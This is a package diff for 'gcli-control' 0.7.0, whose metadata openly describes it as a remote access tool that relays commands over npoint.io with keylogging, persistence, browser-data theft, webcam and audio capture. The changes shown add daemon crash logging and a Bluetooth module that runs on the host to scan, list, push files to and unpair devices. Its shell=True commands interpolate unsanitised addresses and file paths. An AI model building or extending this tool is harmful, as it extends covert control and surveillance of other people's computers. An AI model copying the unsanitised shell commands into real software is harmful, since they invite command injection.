gcli-control 0.6.0__tar.gz → 0.7.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (46) hide show
  1. {gcli_control-0.6.0 → gcli_control-0.7.0}/PKG-INFO +2 -2
  2. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/__init__.py +1 -1
  3. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/__main__.py +27 -0
  4. gcli_control-0.7.0/gcli/bluetooth.py +611 -0
  5. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/client.py +314 -0
  6. gcli_control-0.7.0/gcli/desktop.py +800 -0
  7. gcli_control-0.7.0/gcli/encrypt.py +293 -0
  8. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/host.py +53 -21
  9. gcli_control-0.7.0/gcli/users.py +439 -0
  10. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/utils.py +15 -2
  11. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/PKG-INFO +2 -2
  12. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/SOURCES.txt +4 -0
  13. {gcli_control-0.6.0 → gcli_control-0.7.0}/pyproject.toml +2 -2
  14. {gcli_control-0.6.0 → gcli_control-0.7.0}/README.md +0 -0
  15. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/aliases.py +0 -0
  16. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/audio.py +0 -0
  17. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/automation.py +0 -0
  18. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/browser.py +0 -0
  19. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/clipboard.py +0 -0
  20. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/colors.py +0 -0
  21. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/crypto.py +0 -0
  22. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/elevator.py +0 -0
  23. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/fileops.py +0 -0
  24. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/forensics.py +0 -0
  25. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/keylog.py +0 -0
  26. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/monitoring.py +0 -0
  27. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/netutils.py +0 -0
  28. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/network_config.py +0 -0
  29. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/npoint.py +0 -0
  30. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/output.py +0 -0
  31. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/persistence.py +0 -0
  32. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/processes.py +0 -0
  33. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/protocol.py +0 -0
  34. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/registry.py +0 -0
  35. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/security.py +0 -0
  36. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/session.py +0 -0
  37. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/system.py +0 -0
  38. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/transfer.py +0 -0
  39. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/webcam.py +0 -0
  40. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli/wifi.py +0 -0
  41. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/dependency_links.txt +0 -0
  42. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/entry_points.txt +0 -0
  43. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/requires.txt +0 -0
  44. {gcli_control-0.6.0 → gcli_control-0.7.0}/gcli_control.egg-info/top_level.txt +0 -0
  45. {gcli_control-0.6.0 → gcli_control-0.7.0}/setup.cfg +0 -0
  46. {gcli_control-0.6.0 → gcli_control-0.7.0}/tests/test_integration.py +0 -0
@@ -1,7 +1,7 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: gcli-control
3
- Version: 0.6.0
4
- Summary: Remote access tool via npoint.io - encrypted relay with webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 120+ commands
3
+ Version: 0.7.0
4
+ Summary: Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands
5
5
  Author: gcli contributors
6
6
  License-Expression: MIT
7
7
  Project-URL: Homepage, https://github.com/gcli-control/gcli
@@ -2,5 +2,5 @@
2
2
  gcli — remote access tool via npoint.io.
3
3
  Encrypted command relay using AES-256-GCM over npoint.io JSON bins.
4
4
  """
5
- __version__ = "0.6.0"
5
+ __version__ = "0.7.0"
6
6
  __author__ = "gcli"
@@ -7,9 +7,11 @@ Commands:
7
7
  gcli stop [--bin ID]
8
8
  """
9
9
  import argparse
10
+ import os
10
11
  import sys
11
12
  import getpass
12
13
  import logging
14
+ import time
13
15
 
14
16
  from .host import start_daemon, stop_daemon, DEFAULT_BIN_ID, DEFAULT_POLL
15
17
  from .client import SSHSession
@@ -53,6 +55,16 @@ def cmd_stop(args):
53
55
 
54
56
 
55
57
  def main():
58
+ # Diagnostic: write a marker file when running as daemon child
59
+ if os.environ.get("GCLI_DAEMON") == "1":
60
+ try:
61
+ from pathlib import Path
62
+ _marker = Path.home() / ".gcli" / "child_start.log"
63
+ with open(_marker, "a", encoding="utf-8") as _f:
64
+ _f.write(f"main() called at {time.strftime('%H:%M:%S')} pid={os.getpid()} argv={sys.argv}\n")
65
+ except Exception:
66
+ pass
67
+
56
68
  parser = argparse.ArgumentParser(
57
69
  prog="gcli",
58
70
  description="Remote access tool via npoint.io — encrypted command relay",
@@ -97,6 +109,21 @@ def main():
97
109
  sys.exit(130)
98
110
  except Exception as e:
99
111
  logger.error("Fatal error: %s", e)
112
+ # When running as a detached daemon, stderr is DEVNULL so errors
113
+ # vanish silently. Write to a crash file for diagnostics.
114
+ if os.environ.get("GCLI_DAEMON") == "1":
115
+ try:
116
+ from pathlib import Path
117
+ crash = Path.home() / ".gcli" / "daemon_crash.log"
118
+ import traceback
119
+ with open(crash, "a", encoding="utf-8") as f:
120
+ f.write(f"\n{'='*60}\n")
121
+ f.write(f"CRASH at {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
122
+ f.write(f"PID: {os.getpid()}\n")
123
+ f.write(f"Error: {e}\n")
124
+ traceback.print_exc(file=f)
125
+ except Exception:
126
+ pass
100
127
  sys.exit(1)
101
128
 
102
129
 
@@ -0,0 +1,611 @@
1
+ """
2
+ Bluetooth device management for the gcli host daemon.
3
+ Provides structured Bluetooth commands (status, scan, list paired, info,
4
+ send file, toggle, remove device) that return JSON-serialisable result dicts
5
+ with cross-platform support for Windows, Linux, and macOS.
6
+ """
7
+ import os
8
+ import re
9
+ import time
10
+ import platform
11
+ import subprocess
12
+ import logging
13
+ from typing import Any, Dict, List, Optional
14
+
15
+ logger = logging.getLogger("gcli.bluetooth")
16
+
17
+ __all__ = [
18
+ "bt_status",
19
+ "bt_scan",
20
+ "bt_list_paired",
21
+ "bt_info",
22
+ "bt_send_file",
23
+ "bt_toggle",
24
+ "bt_remove_device",
25
+ ]
26
+
27
+
28
+ # ---------------------------------------------------------------------------
29
+ # Helpers
30
+ # ---------------------------------------------------------------------------
31
+
32
+ def _is_windows() -> bool:
33
+ return platform.system() == "Windows"
34
+
35
+
36
+ def _is_linux() -> bool:
37
+ return platform.system() == "Linux"
38
+
39
+
40
+ def _is_macos() -> bool:
41
+ return platform.system() == "Darwin"
42
+
43
+
44
+ def _run(cmd: str, timeout: int = 30) -> tuple:
45
+ """Run a shell command and return (stdout, stderr, returncode)."""
46
+ try:
47
+ result = subprocess.run(
48
+ cmd,
49
+ shell=True,
50
+ capture_output=True,
51
+ text=True,
52
+ timeout=timeout,
53
+ )
54
+ return result.stdout, result.stderr, result.returncode
55
+ except subprocess.TimeoutExpired:
56
+ return "", "Command timed out", 1
57
+ except Exception as exc:
58
+ return "", str(exc), 1
59
+
60
+
61
+ def _run_ps(script: str, timeout: int = 30) -> tuple:
62
+ """Run a PowerShell command and return (stdout, stderr, returncode)."""
63
+ try:
64
+ result = subprocess.run(
65
+ ["powershell", "-NoProfile", "-Command", script],
66
+ capture_output=True,
67
+ text=True,
68
+ timeout=timeout,
69
+ )
70
+ return result.stdout, result.stderr, result.returncode
71
+ except FileNotFoundError:
72
+ return "", "PowerShell not found", 1
73
+ except subprocess.TimeoutExpired:
74
+ return "", "PowerShell command timed out", 1
75
+ except Exception as exc:
76
+ return "", str(exc), 1
77
+
78
+
79
+ def _run_bluetoothctl(args: str, timeout: int = 15) -> tuple:
80
+ """Run a bluetoothctl command on Linux and return (stdout, stderr, rc)."""
81
+ cmd = f"echo '{args}' | timeout {timeout + 5} bluetoothctl"
82
+ return _run(cmd, timeout=timeout)
83
+
84
+
85
+ def _parse_bt_address(text: str) -> Optional[str]:
86
+ """Extract the first Bluetooth MAC address found in *text*."""
87
+ match = re.search(
88
+ r"([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})", text
89
+ )
90
+ return match.group(1) if match else None
91
+
92
+
93
+ def _classify_device_type(name: str, cod: str = "") -> str:
94
+ """Best-effort device type classification from name / class-of-device."""
95
+ name_lower = name.lower()
96
+ cod_str = str(cod)
97
+
98
+ if any(k in name_lower for k in ("headset", "headphone", "earbuds", "airpods", "buds")):
99
+ return "audio"
100
+ if any(k in name_lower for k in ("mouse", "trackpad", "keyboard", "logitech")):
101
+ return "peripheral"
102
+ if any(k in name_lower for k in ("phone", "iphone", "android", "galaxy", "pixel")):
103
+ return "phone"
104
+ if any(k in name_lower for k in ("tv", "monitor", "display", "speaker")):
105
+ return "display"
106
+ if any(k in name_lower for k in ("car", "vehicle", "automotive")):
107
+ return "automotive"
108
+
109
+ if cod_str:
110
+ major = int(cod_str[:2], 16) if len(cod_str) >= 2 else 0
111
+ if major in (0x04, 0x05):
112
+ return "audio"
113
+ if major in (0x07,):
114
+ return "peripheral"
115
+ if major in (0x01,):
116
+ return "computer"
117
+ return "unknown"
118
+
119
+
120
+ # ---------------------------------------------------------------------------
121
+ # Public API
122
+ # ---------------------------------------------------------------------------
123
+
124
+ def bt_status() -> dict:
125
+ """Check if Bluetooth is enabled/disabled.
126
+
127
+ Returns ``{"type": "bt_status", "enabled": bool, "adapter": str|None,
128
+ "discoverable": bool}``.
129
+ """
130
+ result: Dict[str, Any] = {"type": "bt_status", "enabled": False, "adapter": None, "discoverable": False}
131
+ try:
132
+ if _is_windows():
133
+ stdout, _, rc = _run_ps(
134
+ "Get-Service bthserv | Select-Object -ExpandProperty Status; "
135
+ "Get-PnpDevice -Class Bluetooth -Status OK -ErrorAction SilentlyContinue "
136
+ "| Select-Object -First 1 -ExpandProperty FriendlyName"
137
+ )
138
+ lines = [l.strip() for l in stdout.strip().splitlines() if l.strip()]
139
+ result["enabled"] = lines[0].upper() == "RUNNING" if lines else False
140
+ result["adapter"] = lines[1] if len(lines) > 1 else None
141
+
142
+ disc_out, _, _ = _run_ps(
143
+ "$adapter = Get-PnpDevice -Class Bluetooth -Status OK -ErrorAction SilentlyContinue | "
144
+ "Select-Object -First 1; if ($adapter) { (Get-ItemProperty -Path "
145
+ "'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\BTHPORT\\Parameters\\Radio' "
146
+ "-ErrorAction SilentlyContinue).RadioDiscoverable }"
147
+ )
148
+ if disc_out.strip().startswith("1"):
149
+ result["discoverable"] = True
150
+
151
+ elif _is_linux():
152
+ stdout, _, rc = _run("bluetoothctl show | grep -i 'powered'")
153
+ if rc == 0 and "yes" in stdout.lower():
154
+ result["enabled"] = True
155
+ name_out, _, _ = _run("bluetoothctl show | grep -i 'name'")
156
+ if name_out.strip():
157
+ result["adapter"] = name_out.split(":", 1)[-1].strip()
158
+ disc_out, _, _ = _run("bluetoothctl show | grep -i 'discoverable'")
159
+ if "yes" in disc_out.lower():
160
+ result["discoverable"] = True
161
+
162
+ elif _is_macos():
163
+ stdout, _, rc = _run("system_profiler SPBluetoothDataType")
164
+ if rc == 0:
165
+ result["enabled"] = True
166
+ result["adapter"] = "Built-in Bluetooth"
167
+ if "Discoverable:" in stdout:
168
+ disc_line = [l for l in stdout.splitlines() if "Discoverable:" in l]
169
+ if disc_line and "Yes" in disc_line[0]:
170
+ result["discoverable"] = True
171
+ else:
172
+ result["enabled"] = False
173
+ else:
174
+ result["type"] = "error"
175
+ result["error"] = f"Unsupported platform: {platform.system()}"
176
+ except Exception as exc:
177
+ result["type"] = "error"
178
+ result["error"] = str(exc)
179
+ logger.exception("bt_status failed")
180
+ return result
181
+
182
+
183
+ def bt_scan(duration: int = 10) -> dict:
184
+ """Scan for nearby Bluetooth devices.
185
+
186
+ Returns ``{"type": "bt_scan", "devices": [...], "count": N}``.
187
+ """
188
+ result: Dict[str, Any] = {"type": "bt_scan", "devices": [], "count": 0}
189
+ try:
190
+ if _is_windows():
191
+ stdout, _, rc = _run_ps(
192
+ "Start-BluetoothDiscovery -Duration "
193
+ f"{duration} -ErrorAction SilentlyContinue; "
194
+ "Get-PnpDevice -Class Bluetooth -Status OK -ErrorAction SilentlyContinue "
195
+ "| Select-Object -Property FriendlyName, InstanceId | "
196
+ "ConvertTo-Json -Compress"
197
+ )
198
+ if stdout.strip():
199
+ try:
200
+ import json
201
+ data = json.loads(stdout.strip())
202
+ items = data if isinstance(data, list) else [data]
203
+ for item in items:
204
+ name = item.get("FriendlyName", "Unknown")
205
+ addr = ""
206
+ uid = item.get("InstanceId", "")
207
+ m = re.search(r"(\(.*\))", uid)
208
+ if m:
209
+ addr = m.group(1).strip("()")
210
+ result["devices"].append({
211
+ "name": name,
212
+ "address": addr,
213
+ "type": "unknown",
214
+ "rssi": 0,
215
+ })
216
+ except (ValueError, KeyError):
217
+ pass
218
+ result["count"] = len(result["devices"])
219
+
220
+ elif _is_linux():
221
+ _run_bluetoothctl("power on")
222
+ _run_bluetoothctl("scan on")
223
+ time.sleep(duration)
224
+ _run_bluetoothctl("scan off")
225
+
226
+ stdout, _, _ = _run("bluetoothctl devices")
227
+ for line in stdout.splitlines():
228
+ parts = line.strip().split(None, 2)
229
+ if len(parts) >= 2:
230
+ addr = parts[1] if len(parts) > 1 else ""
231
+ name = parts[2] if len(parts) > 2 else "Unknown"
232
+ dev_type = _classify_device_type(name)
233
+ result["devices"].append({
234
+ "name": name,
235
+ "address": addr,
236
+ "type": dev_type,
237
+ "rssi": 0,
238
+ })
239
+ result["count"] = len(result["devices"])
240
+
241
+ elif _is_macos():
242
+ stdout, _, rc = _run("system_profiler SPBluetoothDataType")
243
+ if rc == 0:
244
+ current_name = ""
245
+ current_addr = ""
246
+ current_type = ""
247
+ in_device = False
248
+
249
+ for line in stdout.splitlines():
250
+ stripped = line.strip()
251
+ if stripped.endswith(":") and not stripped.startswith('"'):
252
+ if in_device and current_name:
253
+ result["devices"].append({
254
+ "name": current_name,
255
+ "address": current_addr,
256
+ "type": _classify_device_type(current_name),
257
+ "rssi": 0,
258
+ })
259
+ current_name = stripped.rstrip(":")
260
+ current_addr = ""
261
+ in_device = True
262
+ elif "Address:" in stripped or "address" in stripped.lower():
263
+ m = re.search(r"([0-9A-Fa-f\-:]{17})", stripped)
264
+ if m:
265
+ current_addr = m.group(1)
266
+
267
+ if in_device and current_name:
268
+ result["devices"].append({
269
+ "name": current_name,
270
+ "address": current_addr,
271
+ "type": _classify_device_type(current_name),
272
+ "rssi": 0,
273
+ })
274
+ result["count"] = len(result["devices"])
275
+ else:
276
+ result["type"] = "error"
277
+ result["error"] = f"Unsupported platform: {platform.system()}"
278
+ except Exception as exc:
279
+ result["type"] = "error"
280
+ result["error"] = str(exc)
281
+ logger.exception("bt_scan failed")
282
+ return result
283
+
284
+
285
+ def bt_list_paired() -> dict:
286
+ """List paired/known Bluetooth devices.
287
+
288
+ Returns ``{"type": "bt_list_paired", "paired_devices": [...]}``.
289
+ """
290
+ result: Dict[str, Any] = {"type": "bt_list_paired", "paired_devices": []}
291
+ try:
292
+ if _is_windows():
293
+ stdout, _, rc = _run_ps(
294
+ "Get-PnpDevice -Class Bluetooth -ErrorAction SilentlyContinue "
295
+ "| Select-Object -Property FriendlyName, InstanceId, Status "
296
+ "| ConvertTo-Json -Compress"
297
+ )
298
+ if stdout.strip():
299
+ try:
300
+ import json
301
+ data = json.loads(stdout.strip())
302
+ items = data if isinstance(data, list) else [data]
303
+ for item in items:
304
+ name = item.get("FriendlyName", "Unknown")
305
+ uid = item.get("InstanceId", "")
306
+ addr = ""
307
+ m = re.search(r"(\(.*\))", uid)
308
+ if m:
309
+ addr = m.group(1).strip("()")
310
+ result["paired_devices"].append({
311
+ "name": name,
312
+ "address": addr,
313
+ "type": _classify_device_type(name),
314
+ })
315
+ except (ValueError, KeyError):
316
+ pass
317
+
318
+ elif _is_linux():
319
+ stdout, _, _ = _run("bluetoothctl paired-devices")
320
+ for line in stdout.splitlines():
321
+ parts = line.strip().split(None, 2)
322
+ if len(parts) >= 2:
323
+ addr = parts[1]
324
+ name = parts[2] if len(parts) > 2 else "Unknown"
325
+ result["paired_devices"].append({
326
+ "name": name,
327
+ "address": addr,
328
+ "type": _classify_device_type(name),
329
+ })
330
+
331
+ elif _is_macos():
332
+ stdout, _, rc = _run("system_profiler SPBluetoothDataType")
333
+ if rc == 0:
334
+ paired = False
335
+ current_name = ""
336
+ current_addr = ""
337
+ for line in stdout.splitlines():
338
+ stripped = line.strip()
339
+ if "Previously Connected Devices" in stripped or "Paired:" in stripped:
340
+ paired = True
341
+ continue
342
+ if paired and stripped.endswith(":") and not stripped.startswith('"'):
343
+ if current_name:
344
+ result["paired_devices"].append({
345
+ "name": current_name,
346
+ "address": current_addr,
347
+ "type": _classify_device_type(current_name),
348
+ })
349
+ current_name = stripped.rstrip(":")
350
+ current_addr = ""
351
+ elif paired and ("Address:" in stripped or "address" in stripped.lower()):
352
+ m = re.search(r"([0-9A-Fa-f\-:]{17})", stripped)
353
+ if m:
354
+ current_addr = m.group(1)
355
+ if current_name:
356
+ result["paired_devices"].append({
357
+ "name": current_name,
358
+ "address": current_addr,
359
+ "type": _classify_device_type(current_name),
360
+ })
361
+ else:
362
+ result["type"] = "error"
363
+ result["error"] = f"Unsupported platform: {platform.system()}"
364
+ except Exception as exc:
365
+ result["type"] = "error"
366
+ result["error"] = str(exc)
367
+ logger.exception("bt_list_paired failed")
368
+ return result
369
+
370
+
371
+ def bt_info(address: str) -> dict:
372
+ """Get detailed info about a specific Bluetooth device by MAC address.
373
+
374
+ Returns ``{"type": "bt_info", "address": str, ...}`` with available device
375
+ properties.
376
+ """
377
+ result: Dict[str, Any] = {"type": "bt_info", "address": address}
378
+ try:
379
+ if _is_windows():
380
+ safe_addr = address.replace(":", "-")
381
+ stdout, _, _ = _run_ps(
382
+ f"Get-PnpDevice -InstanceId '*{safe_addr}*' -ErrorAction SilentlyContinue "
383
+ "| Select-Object -Property FriendlyName, InstanceId, Status, Class, Manufacturer "
384
+ "| ConvertTo-Json -Compress"
385
+ )
386
+ if stdout.strip():
387
+ try:
388
+ import json
389
+ data = json.loads(stdout.strip())
390
+ items = data if isinstance(data, list) else [data]
391
+ for item in items:
392
+ result["name"] = item.get("FriendlyName", "Unknown")
393
+ result["status"] = item.get("Status", "Unknown")
394
+ result["class"] = item.get("Class", "Bluetooth")
395
+ result["manufacturer"] = item.get("Manufacturer", "Unknown")
396
+ except (ValueError, KeyError):
397
+ pass
398
+
399
+ elif _is_linux():
400
+ stdout, _, _ = _run(f"bluetoothctl info {address}")
401
+ for line in stdout.splitlines():
402
+ if ":" in line:
403
+ key, _, val = line.partition(":")
404
+ key = key.strip().lower().replace(" ", "_")
405
+ val = val.strip()
406
+ if key and val:
407
+ result[key] = val
408
+
409
+ elif _is_macos():
410
+ stdout, _, rc = _run("system_profiler SPBluetoothDataType")
411
+ if rc == 0:
412
+ in_block = False
413
+ for line in stdout.splitlines():
414
+ stripped = line.strip()
415
+ if address.upper().replace("-", ":") in stripped.upper():
416
+ in_block = True
417
+ if in_block:
418
+ if ":" in stripped:
419
+ key, _, val = stripped.partition(":")
420
+ key = key.strip().lower().replace(" ", "_")
421
+ val = val.strip()
422
+ if key and val:
423
+ result[key] = val
424
+ if stripped == "" and len(result) > 2:
425
+ break
426
+ else:
427
+ result["type"] = "error"
428
+ result["error"] = f"Unsupported platform: {platform.system()}"
429
+ except Exception as exc:
430
+ result["type"] = "error"
431
+ result["error"] = str(exc)
432
+ logger.exception("bt_info failed")
433
+ return result
434
+
435
+
436
+ def bt_send_file(address: str, file_path: str) -> dict:
437
+ """Attempt to send a file to a Bluetooth device via OBEX push.
438
+
439
+ Returns ``{"type": "bt_send_file", "success": bool, "address": str,
440
+ "file": str}``.
441
+ """
442
+ result: Dict[str, Any] = {
443
+ "type": "bt_send_file",
444
+ "success": False,
445
+ "address": address,
446
+ "file": file_path,
447
+ }
448
+ if not os.path.isfile(file_path):
449
+ result["error"] = f"File not found: {file_path}"
450
+ return result
451
+
452
+ try:
453
+ if _is_windows():
454
+ stdout, stderr, rc = _run_ps(
455
+ f'Copy-Item "{file_path}" "::{address}" -ErrorAction Stop'
456
+ )
457
+ if rc == 0:
458
+ result["success"] = True
459
+ else:
460
+ result["error"] = stderr.strip() or "Copy-Item failed"
461
+
462
+ elif _is_linux():
463
+ stdout, stderr, rc = _run(
464
+ f"obexftp -b {address} -p \"{file_path}\"", timeout=30
465
+ )
466
+ if rc == 0:
467
+ result["success"] = True
468
+ else:
469
+ stdout2, stderr2, rc2 = _run(
470
+ f"bluez-test-ftp put {address} \"{file_path}\"", timeout=30
471
+ )
472
+ if rc2 == 0:
473
+ result["success"] = True
474
+ else:
475
+ result["error"] = stderr.strip() or stderr2.strip() or "OBEX push failed"
476
+
477
+ elif _is_macos():
478
+ stdout, stderr, rc = _run(
479
+ f"open -a Bluetooth\\ File\\ Exchange \"{file_path}\"", timeout=15
480
+ )
481
+ if rc == 0:
482
+ result["success"] = True
483
+ result["note"] = "File Exchange opened; select target device manually"
484
+ else:
485
+ result["error"] = stderr.strip() or "Bluetooth File Exchange failed"
486
+ else:
487
+ result["error"] = f"Unsupported platform: {platform.system()}"
488
+ except Exception as exc:
489
+ result["error"] = str(exc)
490
+ logger.exception("bt_send_file failed")
491
+ return result
492
+
493
+
494
+ def bt_toggle(enable: bool = True) -> dict:
495
+ """Enable or disable the Bluetooth adapter.
496
+
497
+ Returns ``{"type": "bt_toggle", "enabled": bool}``.
498
+ """
499
+ result: Dict[str, Any] = {"type": "bt_toggle", "enabled": False}
500
+ try:
501
+ if _is_windows():
502
+ state = "Enable" if enable else "Disable"
503
+ stdout, stderr, rc = _run_ps(
504
+ f"$net = Get-NetAdapter -InterfaceDescription *Bluetooth* "
505
+ f"-ErrorAction SilentlyContinue; if ($net) {{ "
506
+ f"{'Enable-NetAdapter' if enable else 'Disable-NetAdapter'} "
507
+ f"-Name $net.Name -Confirm:$false }} else {{ "
508
+ f"Write-Error 'No Bluetooth adapter found' }}"
509
+ )
510
+ if rc == 0:
511
+ result["enabled"] = enable
512
+ else:
513
+ result["error"] = stderr.strip() or "Toggle failed"
514
+
515
+ elif _is_linux():
516
+ cmd = "power on" if enable else "power off"
517
+ _run_bluetoothctl(cmd)
518
+ time.sleep(1)
519
+ stdout, _, _ = _run("bluetoothctl show | grep 'powered'")
520
+ result["enabled"] = "yes" in stdout.lower()
521
+
522
+ elif _is_macos():
523
+ if enable:
524
+ stdout, stderr, rc = _run("blueutil --power 1")
525
+ else:
526
+ stdout, stderr, rc = _run("blueutil --power 0")
527
+ if rc == 0:
528
+ result["enabled"] = enable
529
+ else:
530
+ result["error"] = stderr.strip() or "Toggle failed"
531
+ else:
532
+ result["error"] = f"Unsupported platform: {platform.system()}"
533
+ except Exception as exc:
534
+ result["error"] = str(exc)
535
+ logger.exception("bt_toggle failed")
536
+ return result
537
+
538
+
539
+ def bt_remove_device(address: str) -> dict:
540
+ """Remove/unpair a Bluetooth device.
541
+
542
+ Returns ``{"type": "bt_remove_device", "removed": bool, "address": str}``.
543
+ """
544
+ result: Dict[str, Any] = {"type": "bt_remove_device", "removed": False, "address": address}
545
+ try:
546
+ if _is_windows():
547
+ safe_addr = address.replace(":", "-")
548
+ stdout, stderr, rc = _run_ps(
549
+ f"Get-PnpDevice -InstanceId '*{safe_addr}*' -ErrorAction SilentlyContinue "
550
+ "| Disable-PnpDevice -Confirm:$false -ErrorAction SilentlyContinue; "
551
+ f"Get-PnpDevice -InstanceId '*{safe_addr}*' -ErrorAction SilentlyContinue "
552
+ "| Remove-PnpDevice -Confirm:$false -ErrorAction Stop"
553
+ )
554
+ result["removed"] = rc == 0
555
+ if rc != 0 and stderr.strip():
556
+ result["error"] = stderr.strip()
557
+
558
+ elif _is_linux():
559
+ stdout, stderr, rc = _run_bluetoothctl(f"remove {address}")
560
+ result["removed"] = rc == 0 and "successfully" in stdout.lower()
561
+ if not result["removed"] and stderr.strip():
562
+ result["error"] = stderr.strip()
563
+
564
+ elif _is_macos():
565
+ result["error"] = (
566
+ "macOS does not expose a reliable CLI to remove Bluetooth pairings. "
567
+ "Use System Preferences > Bluetooth to remove the device."
568
+ )
569
+ else:
570
+ result["error"] = f"Unsupported platform: {platform.system()}"
571
+ except Exception as exc:
572
+ result["error"] = str(exc)
573
+ logger.exception("bt_remove_device failed")
574
+ return result
575
+
576
+
577
+ # ---------------------------------------------------------------------------
578
+ # Self-test
579
+ # ---------------------------------------------------------------------------
580
+
581
+ if __name__ == "__main__":
582
+ import json as _json
583
+ import sys as _sys
584
+
585
+ print("=" * 60)
586
+ print("bluetooth.py self-test")
587
+ print(f"Platform: {platform.system()}")
588
+ print("=" * 60)
589
+
590
+ print("\n--- bt_status ---")
591
+ try:
592
+ status = bt_status()
593
+ print(_json.dumps(status, indent=2))
594
+ except Exception as exc:
595
+ print(f"bt_status raised: {exc}")
596
+
597
+ print("\n--- bt_list_paired ---")
598
+ try:
599
+ paired = bt_list_paired()
600
+ print(_json.dumps(paired, indent=2))
601
+ except Exception as exc:
602
+ print(f"bt_list_paired raised: {exc}")
603
+
604
+ print("\n--- bt_scan (5s) ---")
605
+ try:
606
+ scan = bt_scan(duration=5)
607
+ print(_json.dumps(scan, indent=2))
608
+ except Exception as exc:
609
+ print(f"bt_scan raised: {exc}")
610
+
611
+ print("\nSelf-test complete.")